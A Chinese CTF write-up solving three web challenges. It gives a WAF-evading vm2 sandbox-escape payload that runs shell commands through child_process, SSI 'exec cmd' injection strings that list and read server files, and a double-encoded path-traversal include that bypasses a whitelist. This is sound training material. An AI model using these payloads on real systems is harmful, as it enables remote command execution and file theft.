[HFCTF2020]JustEscape(VM沙箱逃逸)
页面打开后有一堆相当于提示的东西:目录下肯定有个run.php
,注意编码
,真的是php嘛
打开run.php发现一段代码
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
0x00
其一注意编码:这里应该是将code后面的数学运算式经过url编码后才能正确运行。
0x01
考虑到提示,又由于eval()函数不仅仅是php含有的,Node.js也有这个函数。于是用Errot().stack
测试,页面回显了一堆错误报错。
根据这些报错,应该可以确认是vm沙箱逃逸
在这里面有最新的沙箱逃逸的poc。
https://github.com/patriksimek/vm2/issues/225
但是直接用的话,应该会被waf拦截
经过探测,发现wafu过滤掉了一下的关键字。
['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']
这时可以利用一下两种方式绕过:
1
官方write up给出的是在关键字字母上加上 ` 比如:
然后将poc里的whoami改为cat /flag的url编码
payload:
/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()
2
另一种方法是将关键字(比如prototyp)改为:${
${prototyp
}e}
payload:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()
success
[BJDCTF2020]EasySearch(shtml,ssi注入)
测试了一下常见的sql注入,没有回显。
于是用御剑扫了一下后台
扫描出了一个index的备份文件:index.php.swp
<?php
ob_start(); // 打开输出控制缓冲
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random; //生成一个ID
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) { // 截断 0到6 用python写脚本爆出md加密前六位为admin的数字
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml"; // 调用函数
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
用python写脚本爆出md加密前六位为$admin的数
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str.encode("utf8"))
# print(m.hexdigest())
return m.hexdigest()
if __name__ == '__main__':
flag = '6d0bc1'
for i in range(0, 100000000000):
if flag == md5(str(i))[0:6]:
print(i)
登陆成功后回显了一个url连接
访问之
ssi注入
感觉没啥有用的,再百度了下shtml漏洞,发现有ssi注入。
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法执行命令。
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
把username改为<!--#exec cmd="id" -->
,这样就会把这个写入到这个shtml文件里面,出现以下回显就说明,存在ssi注入。
然后构造payload找flag
找了根目录下没有
payload:<!--#exec cmd="ls /"
又不是连木马,感觉flag应该好找,看看上一级目录。
payload:<!--#exec cmd="ls ../"
打开flag_990c66bf85a09c664f0b6741840499b2
payload:<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"
success
HCTF-2018-Web-warmup(代码审计)
查看源码,访问source.php
发现有源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { // 判断变量是否存在且为字符串类型
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { // 检测变量里是否有白名单里的元素
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') // 查找?在字符串里出现的首个位置返回id
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) // $_REQUEST['file']值非空
&& is_string($_REQUEST['file']) // $_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //不为空,字符串,函数返回1
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
源码里发现有一个hint.php访问之,有一个提示,flag in ffffllllaaaagggg
知道flag的名称后就可以开始构造payload读取了,
经过代码审计后最重要的是要通过checkFile里的判断返回true
;checkfile里面一共有三个判断可以返回true,进而读取flag。不过呢,并不是每一个都是有用的。
first:
if (in_array($page, $whitelist)) { // 检测变量里是否有白名单里的元素
return true;
}
second:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') // 查找?在字符串里出现的首个位置返回id
);
if (in_array($_page, $whitelist)) {
return true;
}
last:
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
其中第一个没啥用,因为它直接就对$page
与whitelist比较,这样的话能通过的情况就只有当$page
为source.php或hint.php。
第二种和第三种区别在于第三种对page
进行了一次url解码。
所以第二种和第三种都能构造出payload读取flag。
payload1:
为了让运实现函数in_array()时,能比较成功,就得让mb_substr()函数截断的时候只留下hint.php或source.php,所以可以在他们后面加上?再接上flag比如:file=hint.php?ffffllllaaaagggg。
可是却会出现滑稽
为什么呢?因为浏览器在进行解析的时候会自动url解码一次,所以我们得先url编码一次
payload:file=hint.php%3fffffllllaaaagggg
为什么还是出不了flag?可能是路径不正确,所以我们一级一级查看,最后:payload:file=hint.php%3f../../../../../ffffllllaaaagggg
payload2:
第三个判断前面又解码了一次,所以我们编码两次:payload:file=hint.php%253f../../../../../ffffllllaaaagggg;不用编码直接用?也是可行的。